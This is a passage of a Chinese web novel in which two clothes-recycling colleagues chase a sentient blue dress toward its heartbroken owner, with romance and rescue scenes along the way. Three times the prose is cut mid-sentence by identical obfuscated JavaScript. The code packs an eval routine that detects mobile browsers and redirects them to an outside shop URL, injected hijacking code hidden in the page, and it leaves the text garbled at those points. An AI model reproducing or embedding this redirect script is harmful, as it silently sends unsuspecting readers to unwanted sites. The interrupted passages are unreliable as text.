“不行。”解之说义正言辞,连忙拒绝,“我去,你在宿舍。” 金隅动了动眉头,一脸无所谓地走开了,弯下腰去观察躺平已久的裙子。解之说一看自己就这么被忽略,也没什么法子,只好收好手机,和她一起看着裙子。 “我们一起。” 金隅轻轻地点了两下头,解之说收回放在裙子上的注意力,转头看向她的头发,一言不发。 “看我干什么。” 金隅用余光瞥见身旁的脸,平静如水。 “你头上有东西,”解之说伸手,从发丝中挑出一根细细的丝线,在自然光下透着浅蓝色,“好像是裙子上的。” 他递过细线,金隅仔细对比了一下,这确实来自连衣裙。 难道裙子坏了? 金隅蹲下来,手指刚触碰到一处肉色,就被苏醒的裙子震到差点反呕。 “渣男!” 短短两个字所带来的攻击力极强,金隅揉了揉耳朵,还有点头痛。解之说与她同样,忍着不适带她远离连衣裙。 连衣裙似乎愣了一下,金隅坐在沙发上休息时,能从它细微的动作中看出点情绪。 休息了一会后,金隅和解之说整装待发,连衣裙不舍得金隅离开,死死缠住她的腿。被迫成为美人鱼的金隅只好安慰它,“我们会带你一起的。” 意料之外的承诺令解之说措手不及,他眼睁睁地看着金隅从客厅跑到杂物室,又从杂物室跑到楼上,最后拎下来个小行李箱。 “一定要带它?” 解之说担心连衣裙会伤害普通人,到时候就麻烦了。 “恩。” 金隅轻轻一拿,连衣裙便从她的身上剥落,自己慢慢爬进了行李箱。 “有它在,我们便能知道我们要找的人是不是这个盛白阳。” 金隅言之有理,目前只有连衣裙知道“盛白阳”是谁。 两人打车前往盛白阳定好的酒吧,酒吧很小,一下车金隅以为自己看错了地址。小小的木门挡住里面,门上画着五颜六色的涂鸦,红砖墙上挂着一幅牌匾,颜色极浅。 “是这里吗?” 金隅后退了几步,紧握着行李箱的箱杆。 解之说没来过酒吧,他摇摇头,“应该是吧。” 刚说完,一辆白色跑车在一声喇叭后稳稳停在旁边的空地,金隅和解之说听到动静,向从车上下来的人看去。 来者一头亮眼的橙,金隅一开始就被二八侧背的发型吸引住了,呆呆地站在原地。 盛白阳一只手揽着黑色外套,扶正方框眼镜,看到解之说时微微一笑,眼睛一转,解之说的身边站着个熟悉的人,差点弃车逃跑。 “怎么想起来找我?” 盛白阳努力不去看金隅,一只手勾搭上解之说的肩。解之说扫开他的手,搪塞道:“看看你最近过得怎么样。” 盛白阳露出几颗牙,“我过得很好,”他装作不经意地往金隅的方向挪了半步,问:“这位是……” 金隅笑眯眯地回答:“我叫金隅,你好。” “诶呦诶呦,”盛白阳笑得合不拢嘴,“加个联系方式?” 金隅转头看向解之说,不做声。 盛白阳心凉了半截,声音比刚才弱了几分,“你们,谈恋爱了?” 他一问出口,自己都要笑出来了,谁不知道他们那一届文科第一和理科第一乃是天上明星,时常能看到两人在一起讨论题目,惺惺相惜。所有人都认为他们谈恋爱了,久而久之便将注意力转向了见首不见尾的文科第二,和不近人情的理科第二—— 金隅,解之说。 无聊的学生们试图从两人的交集中找出交往的蛛丝马迹,不曾想直到毕业,他们都没有找到证据,盛白阳作为金隅的暗恋者之一,自然是加入寻迹大队,一边安慰自己会有机会的,一边苦恼为什么文科那么难。 “没有没有,”金隅连忙摆手,“我们是同事。” 同学变同事,形势更严峻了。 盛白阳没管解之说无语的注视,拿出手机又问:“我们加个好友吧?” 盛情难却,金隅只好乖乖加了好友。盛白阳高兴极了,帮金隅拿过手里的箱子,“来就来嘛,带什么东西啊。” 金隅顿感大事不妙,上手去抢行李箱,下一秒箱子剧烈震动起来,震得盛白阳脑子发蒙。 “地震了?” “没有地震,”解之说板着脸夺过行李箱,“走啊,喝酒。” 忘记刚才的怪事,盛白阳乐呵呵地走在金隅的身边,为她打开门,挡住解之说靠近金隅的步子,“你走我后面,嘿嘿。” 解之说抽了抽嘴角,俨然成为了两人的保镖。 去往包间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335103|152573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上,盛白阳嘴叭叭个不停,问东问西的,金隅被问得眼冒金星,回答他的问题时都有些口齿不清。直到坐下位置她才缓过神来,跳过中间点单的盛白阳,向解之说求救。 “哎你们想喝什么就点啊,我买单。” 解之说放下酒单,手搭上盛白阳的肩膀。 “怎么了?” 盛白阳感觉自己的肩膀被捏得有点痛:“你轻点。” “你是渣男吗?” “啊?” 这问题一出,盛白阳乱了阵脚,转过头去看了一眼金隅,又转过来,结结巴巴的,“我一直都喜欢一个人,算……算是吗?” 解之说知道他喜欢谁了,原来上次同学聚会时说的不是醉话,而是真情实意的。一股说不清道不明的情绪涌上来,他皱了皱眉,感觉心里堵得慌。 不过连衣裙说的那个人,应该不是这个盛白阳了。 解之说忽略盛白阳急得抓耳饶腮快要跳起来,对金隅说:“我们走吧。” 金隅站起来,还没走就被盛白阳拦住,“去哪啊?” “砰”的一声惊响,在场的三人都愣住了,金隅没空想盛白阳脸和耳朵都红了的缘由,快步冲向行李箱。 解之说离行李箱最近,却还是迟了一步,连衣裙从放倒的箱中冒出来,半边身体动了动,怎么也挣脱不出。 “鬼啊!” 盛白阳以为是酒瓶爆炸了,站起来一看,被放在墙边的行李箱开了个口,箱子的表面以一定的节奏起伏着,缺口中慢慢露出颜色。 金隅和解之说来不及管盛白阳了,两人跑过去合力关上箱子,不料连衣裙韧性极强,金隅好心劝它回箱子里,却被无情忽视。 “我想起来了!” 连衣裙的发音器官跑出来,尖叫刺耳的经历已经给金隅留下了心理阴影,她一松手,裙子全部露了出来。 盛白阳目瞪口呆,扇了自己一巴掌,发现不是在做梦,自己卧在沙发上,眼神涣散地背文言文。 “壬戌之秋,七月既望……” “我是主人的男朋友送给她的生日礼物,可是不知道什么时候主人失恋了,她很痛苦,将我还给了那个人,不过那个人没要我,主人就把我扔掉了。” “扔我之前,她每天都在哭,不吃饭不睡觉,有时候站在我面前重复’渣男’两个字,去那个人家的那天,吊灯很亮,她叫了他的名字,我就记下来了。” “帮我找到盛白阳吧,拜托了。” 如果裙子有眼睛的话,这时候已经声泪俱下了,金隅有了个疑问,“你的主人呢?” 裙子摇了摇裙摆,“我不知道。” “你知道你主人的名字吗?” 裙子的声音降下来了,“不知道。” 人没找对,裙子主人也不知道是谁,金隅急得深吸了口气,盛白阳的声音悠悠扬扬传进耳朵,她更心烦了。 解之说安抚着连衣裙,“你还有其他事情能想的到吗?比如主人有没有在你面前提起过自己的经历,盛白阳的信息。” 连衣裙良久不言,金隅和解之说得不到更多的信息,互相商讨着接下来该怎么办。 盛白阳背完了一篇又一篇,就在“噫吁嚱”刚说完,连衣裙想到了什么。 “盛白翔。” “什么?”听到人名,金隅不解,“这人是谁?” “盛白翔?” 盛白阳一下坐起来,“你们要找我哥?” 13. 失恋连衣裙4 “你哥叫盛白翔?” 金隅坐在副驾驶,伸手去拽安全带。安全带太紧,她一时没拉动,盛白阳一看,立即丢下自己的安全带,细心帮她系上。 “谢谢。” “不用谢。”盛白阳显摆似的,对坐在后排抱着行李箱的解之说得逞一笑,解之说侧过头,没理他。 盛白阳识趣地启动汽车,驶向马路。 他有点想不明白,明明今天是来喝酒的,怎么最后酒没喝成,还带人去找自己的哥哥?还有那件会爬的衣服,怎么没人告诉他这世界已经发展成这样了? 金隅透过挡风玻璃看着路况,一路疾驰后,汽车进入一处高档小区的大门,慢速开向地下停车场,七绕八绕后,停在了亮堂的停车位。 “到了,我哥现在应该在家。” 盛白阳帮金隅解开安全带,比她先下了车,跑到另一边开门,“小心脚下哦。” 金隅两只脚扎实站在地上,盛白阳又为她关上门,然后才问解之说:“这箱子,安全吗?” “不安全。”解之说如实回答。 盛白阳无话可说,短暂思考后决定好了。 “你,留在这里,我和金隅上去。” 解之说死死握着行李箱把手,没说话。 金隅好声道:“我们是同事,今天找你出来也是工作的一部分,公司有规定,在外工作时必须两人结伴进行。” 解之说松了口气,却怎么也提不起干劲。金隅见状,拉过行李箱,对盛白阳说:“这个箱子里有一条连衣裙,它只知道盛白阳和盛白翔两个人的名字,现在我还不敢肯定它说的是你和你哥。为了找到它的主人,我们必须带着它一起。” “不过你要是担心安全问题的话,我们不敢保证,所以你可以拒绝我们。” 金隅将自己的想法说了出来,盛白阳皱起眉思考了一番,就在她不抱希望时,盛白阳开口了,“好吧,我带你们上去。” 金隅松了口气,看向解之说。 解之说的脸色更差了,她关切道:“你怎么了?” 盛白阳也注意到他的不对劲,“晕车了?那也不至于现在才发作啊。” 解之说摇摇头,“我没事。” 没事才怪,金隅看他情况不妙,打算先回去,“要不我们先回宿舍吧,万一你出了什么事怎么办?” “你们在干什么?” 一道冷冽的男声响起,金隅打了一哆嗦,看向说话的人。 这人穿着一身黑色的西装,身形高大,面色沉静。 “哥?”盛白阳又惊又喜,凑上去就问:“哥你最近失恋了吗?” 站在盛白翔身后的管家听到这话赶紧向盛白阳使眼色,盛白阳不解,“怎么了?” 盛白翔的脸色阴暗,“问这个干什么?” 盛白阳看了一眼金隅和解之说,轻咳了一声。 盛白翔仔细打量着他们,视线向下,注意到了那只开了个口的行李箱。 “怎么,让我修箱子?” “没有没有,”盛白阳连忙摆手,“我就是想问问,你和……” “分手了。” “哦。” 盛白翔的眼中透出些不悦,“你到底想干什么?” 盛白阳走到金隅和解之说身前,打开行李箱,金隅吓得伸手制止他,可还是迟了。 “这是你给你前女友的?”他展开一动不动的连衣裙,连衣裙很长,蓝色的丝线在光照下闪闪发光,皱起的裙摆堆在他的脚边。 盛白翔的脸色终于变了,问:“她在哪?” “谁?”盛白阳傻傻愣愣的,盛白翔一招手,管家从后面冒出来,从盛家小少爷手里拿过裙子,仔细叠好,站回去。 金隅不敢说话,解之说难受得不想说话,两人只能静静地看着眼前发生的事情。 盛白翔从自己的弟弟这里问不出想要的答案,转而看向金隅,金隅心里发怵,但还是假装镇定,“那什么,我是在垃圾桶捡到裙子的,所以我也不知道你说的''她''在哪里。” 盛白翔在她一说完话,又盯着解之说,金隅摆摆手,“他和我一起的,也不知道。” “你们可以走了。”盛白翔下了逐客令,金隅有些犹豫,不过想到连衣裙只说了要找到人,便放心扶着解之说的手臂,对盛白翔礼貌点点头。 盛白阳急了,他还没带金隅到家里做客,看着哥哥的冷漠样子,又不敢说出口,只能勤快将两人带上车,准备送他们回去。 谁知,管家被连衣裙捂住了整张脸,闷声低吼着。 “老板……救我……” 管家怎么扯都扯不下眼前的黑暗,盛白阳和盛白翔还没反应过来,金隅停下开门的动作,快要跑到管家面前时,一个滑铲跪在地上。 没管刚才脚下一滑,她使劲拽着连衣裙,可怎么也拽不动,盛白阳一回神,加入救援。管家呼吸越来越弱,盛白翔先是打了急救电话,也加入他们。 连衣裙紧紧包裹着管家的脸,不曾松懈。蓝色和金色的的细线从裙上脱落,却丝毫没有能够扯下来的迹象。 “求你了,连衣裙,松开吧好不好?”金隅拨开一层面料,下面还有一层,管家停止了挣扎,喉咙滚动,却一点声音都发不出。 一个活生生的人在眼前命悬一线,从未经历过如此紧急的金隅带着哭腔,眼里浸了泪,手不敢停一下。 盛家两兄弟也是努力着,手指都压出了白。 解之说靠在车边,脸上写满了紧张,顾不上涨得生疼的脑袋和发热的眼眶,扶着车身一点点往前挪,几次都腿软得差点站不稳。 金隅无暇其他,眼前只有被裹满的脑袋。 连衣裙的表面越来越粗糙,长长短短的丝线被几人的手指剥落飞到地上,金隅急得手指颤抖,一不留神,手指肚上被抠烂的亮片划破了手指。 盛白阳最先看到一滴滴鲜红渐渐染上裙子。 “金隅,你的手……” 他的话还没说完,便听到金隅笑着惊呼:“有个口!” 盛白翔一看,堪堪一根手指头大小的缺口露在管家的鼻下,他走到金隅旁边,用力一扯。 管家在盛白阳的搀扶下坐起来,大口呼吸着新鲜的空气,脸轻微发紫,久久才憋出一句话,“这衣服,奇。” 确实奇,盛白阳没想到成了精的衣服杀伤力如此之大,不觉对金隅充满了敬意。 金隅瘫坐在地上长长舒了口气,刚放下心就听到耳后沉闷的一声响。 几人听到动静纷纷看去,解之说已经脸朝地,不省人事。 “解之说!” 金隅率先冲向他,几步远的距离又差点滑倒。 “解之说?”她用一只手从脸和地的空隙穿过,先垫起解之说的脸,不停叫着他的名字,几次无人应答,她才泄了气,颓废地跪在原地,看盛白翔翻过解之说的身体,看急救人员抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335104|152573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着担架走过,看无关人员凑上来寻个热闹。 再等她回过神来时,自己已经躺在陌生的床上,天花板上的吊灯亮着白晃晃的几个球,耳边是悠扬的轻音乐。 这是哪儿? 意识到自己不在停车场,也闻不到医院的消毒水味,她坐起来,打量着周围的一切。 落地的银色窗帘遮住自然光线,轻微摆动的流苏尾巴扫过地面,简单的矮方桌上空无一物,通顶的壁橱一尘不染。 穿上床边的拖鞋,金隅好奇地四处走动,走到窗前时,摸了摸自己的脸。 眼角下一颗倔强的泪水终于滑落,滴在了未收回的手面上。 搞不懂为什么自己会流泪,金隅又抹了一把脸,向门口走去。 门外方方正正的大空间里摆满了奢华的家具,金隅不知道这是哪里,“嘀”的一声,前方墙上亮起红光,电梯门缓缓打开,盛白阳端着盘子,出现在眼前。 “盛白阳?” 金隅疑惑出声,这才发现自己的喉咙干得发痛。 “诶呦,”盛白阳连忙将手上的东西放在旁边的桌子上,小跑到金隅身边扶着她,带她慢慢走到桌前,“快坐下歇歇,从卧室走到这里你一定累了吧?喝点水喝点水。” 他抽出椅子等金隅坐下,拿出盘子里的几个杯子,“这是牛奶,这是白开水,这是橙汁,这是蔓越莓汁,不知道你爱喝什么口味的,我就选了几个,”他又开始介绍,“这是鸡排三明治,这是抹茶红豆贝果,这是草莓小蛋糕。” 介绍完毕,他站在桌前看着金隅,金隅不好意思下手,肚子却不合时宜地“咕咕”叫了几声。 “你放心吃,不够还有,等做饭阿姨回来,让她给你煮个汤。”盛白阳眼含笑意,看着金隅有一口没一口地吃着三明治。 “谢谢你。”金隅咽下一小口,眼神柔和。 “不用谢不用谢,”盛白阳小心地将杯子排成一列,坐在金隅的对面,双臂弯曲摆在桌上,借着力身体前倾,凑近她。 金隅被他靠近的脸吓到了,喝了口白开水压压惊,然后问:“管家没事吧?” “他没事,”盛白阳摆摆手,“在医院睡了半天就回来了。” 金隅点点头,吃完最后一口,又问:“你哥他……找到前女友了吗?” 盛白阳没料到她会问这个问题,但也是如实回答,“在找了,听说那个人离开宁泰了,可能回了老家。” “是嘛,”金隅抿了抿唇,问出心里最想问的事情,“解之说他怎么样了?” 她抬眼,紧张地看着盛白阳,盛白阳几次想说出口,但还是犹豫不决。 “他很严重?”金隅的心一下提到嗓子眼,追着盛白阳乱飘的眼睛。 “倒也不是很严重吧,”盛白阳挠挠头,“我哥说他是脑震荡后遗症。” 金隅听到回答,倒也不算太意外,毕竟之前解之说只在医院呆了半天。她放下心,扯着嘴角微微一笑,“谢谢你的款待。” “你要走吗?”盛白阳注意到金隅推开面前的小盘子,打算起身。 “我得去看看解之说。”金隅站起来,却被盛白阳拦住去路。 “天很晚了。” “我打车去。” 金隅安慰他,“我没事的,今天给你们带来了麻烦,抱歉……” “你不用道歉的,”盛白阳也站起来,深呼了一口气,嘴唇轻颤。 “我喜欢你。” 14. 失恋连衣裙5 话音刚落,金隅便愣住了,不可置信的瞳孔在黄色的水晶灯下映出浅色。 “抱歉……我……”她慌不择言,言语哽在喉间,“我……” “我说了,你不用道歉,”盛白阳明晓她的意思,“是我唐突了,该道歉的人是我才对。” 水晶灯闪了一下,两人各有打算。 过了许久,盛白阳扬起一抹轻松的笑,“我送你去医院。” 两人在去往医院的路上一言不发,盛白阳没有表现出格外的伤心,脸上是一阵平和。 解之说的情况不算太严重,睡了三个小时后醒来便看见金隅和孟星吾站在病床边沉默不语。 他没敢看他们,偏过头看窗外灯火明亮。 金隅见他醒来,身体却僵住了,想说什么根本说不出口,鼻头一热,眼泪不受控制地倾泻而下。 隐忍的抽泣声终是惹人心疼,解之说翻身看向她,金隅不在意突然的视线,抹了抹眼泪,转身离开房间。 随着关门声响起,病房里只剩点滴在细管中流下的声音,过了许久,孟星吾才缓缓开口:“医生说你没什么大事,休息几天就行。” 解之说听话地点点头,孟星吾不放心,又嘱咐他,“接下来几天的工作你就不用做了,金隅没有搭档,算给你们放假了。” 解之说温和一笑,“谢谢队长。” “你小子,下次注意点,”孟星吾继续道,“今晚有个会,我先走了。” “好。” 孟星吾的手搭上门把手,回头说:“金隅应该有话要和你说,别惹她伤心。” 解之说一愣,随后眼里亮起光,“我知道了。” 孟星吾出去后,金隅慢腾腾地走进来,看到病床上的解之说,又将心里的话咽了回去。 “我有话想和你说,”解之说见她犹豫不决,先出了声,“可以吗?” 金隅点了点头,坐在床前的软椅上,埋下头。 “今天的事情,真的对不起,给你们添麻烦了,我……” 解之说坐起身,看到金隅的脑袋低沉沉的,不觉笑出了声。 “你笑什么?”金隅依然低着头,身体轻轻一颤。 “啊,抱歉。” “我有话想和你说。”金隅抬起头,泪眼婆娑。在头顶的光照下,解之说在她的眼里是模糊不清的,忍着快要掉下来的泪滴,她鼓起勇气,终于开了口。 窗外的明灯越来越亮,来自不远之外的庆祝烟花在墨色的天空中绽放热情,又回归冷静。 解之说的眉头一紧,将她的话都仔细听了进去。 直到最后一个字如数倾出,金隅的眼中闪过一抹坚强的韧劲,解之说舒展眉头,恬然一笑。 二十分钟后,金隅拗不过解之说的强硬,带他溜出了医院。 盛白阳家不太难找,在第一次去他家的路上,解之说仔细记下方位,而金隅因为盛白阳的热情错失了机会。 乳白色的大门立于天地之间,金隅这才能观察到周边的环境。高耸的两棵长得像蘑菇的大树引起了她的兴趣,没还走到门口,一个熟悉的声音在耳后响起。 “解之说!金……金隅……?” 解之说和金隅纷纷转身,看到了盛白阳呆呆地站在原地,手里握着俩酒瓶子,“你们怎么在这里?” “我们……”金隅找不到什么合适的借口,倒是解之说如实回答:“来找你哥,还有那件裙子。” 盛白阳懂了,“我们找个地儿聊吧,我哥不在家。” 金隅和解之说互相看了一眼,点点头,“好。” 又是一座新酒吧,金隅坐在硬邦邦的木头椅上,搞不懂为什么盛白阳那么爱去酒吧。 盛白阳从吧台要了只杯子,娴熟地将手里的两瓶酒倒了些进去,用吸管搅了搅,一份还算得上好看简单的鸡尾酒就做好了。 抿了一口发现不合胃口,盛白阳煞有其事地放下杯子,端起旁边白开水,问:“你们到底是做什么工作的?” “回收旧衣服。”金隅将手摆在桌子上,真切地看着盛白阳。盛白阳相信她,喝了两口水,又问:“那为什么要来找我哥?” “帮连衣裙完成它的心愿,你哥是关键。” “它的心愿是什么?”盛白阳一下来了兴趣,“不会是要我哥和他前女友复合吧?” 不排除这个可能,金隅在盛白阳问完话后,仔细回想从捡到那件连衣裙开始后的事情。 一开始,连衣裙被丢在垃圾桶上,见到自己时说了要带它走,后面又要求带它回家。再后面,盛白阳和盛白翔成了它的目标,不过看情况,盛白翔才是它真正要找的人。 难道连衣裙的心愿只是找到盛白翔吗?金隅想不通,觉得连衣裙的心愿另有其他,并且极大可能与它的女主人有关。 一边静静看着金隅思考的盛白阳转了转酒杯,说出了自己的心里话,“虽然吧,我觉得你们这个工作呢,有点奇怪,还有点惊悚,不过世界之大无奇不有,我也能理解。” 盛白阳看了一眼金隅,又看了一眼解之说,态度真诚地说:“你们要是飞升了,一定要告诉我啊。” 解之说不说话,并且有些头痛。 真是奇了怪了,怎么一靠近盛白阳就不舒服? 盛白阳又问,“你们现在在哪儿工作啊?能不能介绍给我?” 金隅架不住他的热情好问,说了公司名称。 “爱衣回收?”盛白阳眉头一皱,发现事情并不简单,“这不是我哥最近投资的那个公司吗?” “啊?” 金隅一惊,下意识看向解之说。解之说也在意料之外,这世界上太多巧合了。 既然盛白翔有在爱衣回收投资,说明他还是对公司的情况有些了解的,倒也不怕泄露出什么不得告人的秘密。 当务之急是见到盛白翔。 “你哥去哪了?”金隅没时间浪费在无聊的事情上,直接问。 盛白阳想了想,“这时候应该在公司吧,他今晚要开会。” “他什么时候能回来?”解之说追着问。 盛白阳不厌其烦地回答他们的问题,“差不多凌晨两三点,这个月比较忙,他都这个点回家。” 看来公司老总也不好做啊,金隅想到自家刚创业的哥哥,不觉有些心疼。 而此时此刻在妹妹家地上打地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335105|152573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺的金岸倚在沙发边上,一手甜品一手冰激凌,吹着空调看着喜剧片,不亦乐乎。在打了个喷嚏后,骂骂咧咧地从沙发上拖下空调被,继续消遣快乐的时光,连身边的手机亮起都没发现。 二十分钟后,盛白阳推开酒吧的门,目送金隅的解之说的离去。看着愈走愈远的背影,盛家小少爷情不知所起,惆怅万分,站立良久后,打算今晚买个醉。 金隅和解之说回到医院后短暂停留了一会儿,两人告了别,留金隅独自回到宿舍。她在路上就能闻到阵阵飘香,从院墙外面往里看,柳露和孟亦觉在厨房里忙得热火朝开。 潮湿的热气中,终于袭来的疲劳占据整个身体,金隅猛吸一口气,试图提起精神,一阵从未闻过的香味钻进自己的鼻子。 朝香源寻去,金隅这才发现矮墙边的植物在路灯的衬托下熠熠发光,香味渐渐隐去,而她已站在了小路尽头。 半截矮墙堪堪挡住视线,金隅踮起脚,便能看到山脚下的光景。 白天沉默的各色大楼现在争先恐后地亮起一扇扇灯,为一方格子空间照亮未来,一丛又一丛的小山延伸至远方,清海公园在灯火的包围中容纳自然,一片看不清边界的无名湖仅靠点点烟光浮波微荡,勾人心魂。 院门开了,柳露端着盘子左看右看,终于在坡上的角落里看到撑墙观望的金隅。 “今晚做了抹茶生巧,快来尝尝!”她招呼着回过头的金隅,金隅慢慢下坡,走到跟前。淡淡的抹茶香味夹着甜,她尝了一口,“好吃。” 柳露知道了今天发生的事,见她心情好起来,簇拥着她进入宿舍,带她坐到餐桌前,“好吃就多吃一点,孟亦觉还做了虾仁炒蛋,还有玉米冬瓜汤,哦对了,你对海鲜不过敏吧?” 金隅摇摇头,柳露放下心,跑到厨房帮忙,片刻后端出一大碗鲜美的虾仁炒蛋,后面跟着系着围裙的孟亦觉。 两人放下菜,金隅将碗筷摆好,问:“其他人呢?” 柳露瞥了孟亦觉一眼,坐下先盛了一碗饭。 见无人回答,金隅皱起了眉头,也一句话没说,只静静地吃着饭。 三人的沉寂直到各自回房都没有被打破,金隅简单洗个澡之后平躺在软软的床上,白天发生的一切都让她心累,很快便闭上眼,昏昏沉沉地睡过去。 不知过了多久,窸窸窣窣的微小声音在墙角持续响起,皎洁的月光下,轻轻摇曳的裙子一角在窗外随风飘荡。在梦中的金隅正经历着声波攻击,脑袋越来越重,挣扎了许久终于恢复自我意识。摆脱梦境后睁开眼,窗帘挂在墙上轻轻晃动,察觉到一丝不对劲的金隅艰难起身走到窗前,往下看了一眼。 几棵堪堪长到有房子高的海棠树随着风动树影婆娑,正打算关上窗时,金隅通过明亮的路灯看到了墙角一抹熟悉的颜色。 “连衣裙?” 她为了证实自己的想法,毫不犹豫地打开整扇窗户,半边身体都钻了出去,伸手去够那未知的东西。 墙角动了动,随后在树影下,连衣裙紧紧贴在墙上,像壁虎一样爬过来,发音器官“呜呜”吼着,等金隅拿到它时,它发出了完整的话: “我找到主人了。” 15. 失恋连衣裙6 早上五点,金隅带着连衣裙收进新的行李箱离开宿舍,去往车站,开发区离宁泰区很近,坐大巴三十分钟就能到。 下了车,金隅根据连衣裙告诉她的消息跟着导航在人生地不熟的市区晃悠,不知坐了几班公交车又走了好久,终于找到此次的目的地——那位女主人的家。 郁郁葱葱的香樟树肆意生长,时不时的蝉鸣从空中传进耳朵,一身干爽的金隅不再感受到只有在宿舍时的潮湿热溢。行李箱的滚轮在凹凸不平的街道上轰鸣,沿着直线走了大约五十米后,她终于看到了小区的大门。 大门口停着一辆乌黑得发亮的汽车,司机似乎在与门卫争论着什么,金隅看了看周围,是个刷脸才能进的小区。她只好坐在街边马路牙上,拍了拍箱子,“我进不去。” 箱子动了动,随后从里面传来呜咽声。没有办法的金隅不知道接下来该怎么做,纠结要不要先回去,耳边却响起了熟悉的声音。 “金隅?” 惊讶的声音越来越近,直到一簇高大的身影将自己挡住稀薄的金光,金隅抬起头,看到了意想不到的人。 “盛白阳,你怎么来了?” 她看了看盛白阳的身后,黑车的司机露出小半边身体,不顾门卫的叽里呱啦,往这边望过来。 “我来找时寻砚,”盛白阳停顿了一下,解释道:“就是我哥的前女友,听说她跑这来了。” 金隅若有所思地点点头,盛白阳倒是挑了个好机会,“我们一起去酒吧坐坐吧。” 金隅不可思议地看着他,“为什么?” “刚好附近有个酒吧,反正小区我们也进不去,就去那里休息休息聊聊天呗。” 盛白阳向几米之外的司机招招手,拥着金隅走上人行道。 到了酒吧,金隅选了个靠角落的位置,将行李箱安置在脚边,盛白阳从前台拿了两个杯子,看样子都是白开水,从他的手里接过杯子,金隅小心翼翼地喝了一口,问:“为什么总是来酒吧坐?” 盛白阳得意地哼哼了两声,“刚好开了几个酒吧,每次去哪里都会进来坐坐,还能遇到老朋友呢。” “原来是这样,”金隅又喝了口水,点点头。 “我有钱,梦想就是开个酒吧,和朋友们聚聚,”盛白阳看着她,“这样最好。” “那你的梦想完成了。” 盛白阳的眼中闪过一丝激动,“你的梦想是什么?” 金隅一愣,放下杯子不说话。 过了好久,她才绞尽脑汁地思考,最后无奈地摇摇头,“我不知道。” 大概就是在现阶段好好工作,大学毕业后进入企业,努力工作,直到退休? 不过这梦想也太平庸了,金隅怕盛白阳会笑话她,只能以“不知道”终结话题。 盛白阳倒没怎么表现出太惊讶的样子,他晃了晃手里晶莹剔透的杯子,自顾自说起话来。 “从高中开始我就一直暗恋你,不过你对谈恋爱没想法,我只能看着你的背影,看着你一次又一次地登上荣誉榜,看你努力学习,”盛白阳沉浸在高中时期的美妙,突然话音一转:“好多人都以为你和解之说在一起了。” 金隅差点被口水呛到,不敢置信地又问了一遍:“你说什么?” “我说,”盛白阳一字一句的,“好多人当然也包括我都以为你们当时在一起了。” 金隅感到莫名其妙的,不过还是好声解释道:“我也就昨天才知道我和解之说是同学。” 尴尬的气氛笼罩在两人的头上,盛白阳不好意思地咳了一声,装作若无其事地端起杯子喝了口水,“原来是这样啊哈哈咳咳……” 金隅“嗯”了一声,低下头看行李箱,突然又抬起头来,“我该走了。” “这就走了?”盛白阳连忙直起身板,“我送你?” “不用,”金隅摆摆手,“你忙你的。” 她起身拖着行李箱,走出座位问:“你哥他什么时候有空?” 如今恐怕只有盛白翔能让时寻砚露出面目,金隅拿不定主意,左右为难。连衣裙的心愿至今不明了,时寻砚又迟迟不现身,昨天的意外更是令人心烦。她在不经意间皱起了眉头,盛白阳看到手机里的新消息,不觉喜出望外。 “金隅,时寻砚答应见我了!” “什么?”金隅回过神,抿着唇微笑,眼里闪烁着兴奋的光。 “你和我一起,”盛白阳将手机放回口袋,伸手拿过她手里的行李箱。 两人步履轻松,两分钟就到了小区门口,一位穿着碎花裙的年轻女人站在门口,神色平静。 先前的司机守在路边的停车位上,看到盛白阳出现在门口,终于放下心。转头一看他旁边跟着陌生女孩,吓得冲下车,对着盛白阳打招呼,盛白阳摆摆手,他又跑回车里。 时寻砚脸色苍白,双眼空洞无神,看到金隅和盛白阳也不说话,金隅心里估算她顶多二十五六岁,却被情所困。 同样是女人,金隅对她自然是抱有同情,开始从她的角度看待这次失败的恋爱。两人或许势均力敌,不论在情场还是职场,都同样成熟理性,不过女人在一段关系中更容易吃亏。根据昨天与盛白翔短暂的接触,金隅并不觉得这个男人好相处,他第一印象给人就是冷漠的、高高在上的,或许是年龄的差距与经历的不同,她并不喜欢与这种人产生交集。 时寻砚呆呆的,眼睛慢慢在金隅和盛白阳身上转来转去,实在是转累了,这才开口说话,“你们找我什么事?” 盛白阳见金隅还在对着她发愣,只好说明来意,“我们找你是想谈谈。” “谈什么?”时寻砚还是呆呆的,说话都是有气无力的样子,“谈我和盛白翔的往事吗?神经。” “那倒也不会,”盛白阳尴尬地说不出话,金隅甩掉刚才的走神产物,态度诚恳地对时寻砚说:“说实话,现在只有一个东西最关心你。” “什么?”时寻砚垂下眼眸去看她,双眼渐渐回归聚焦。 “连衣裙。” 短短三个字令盛 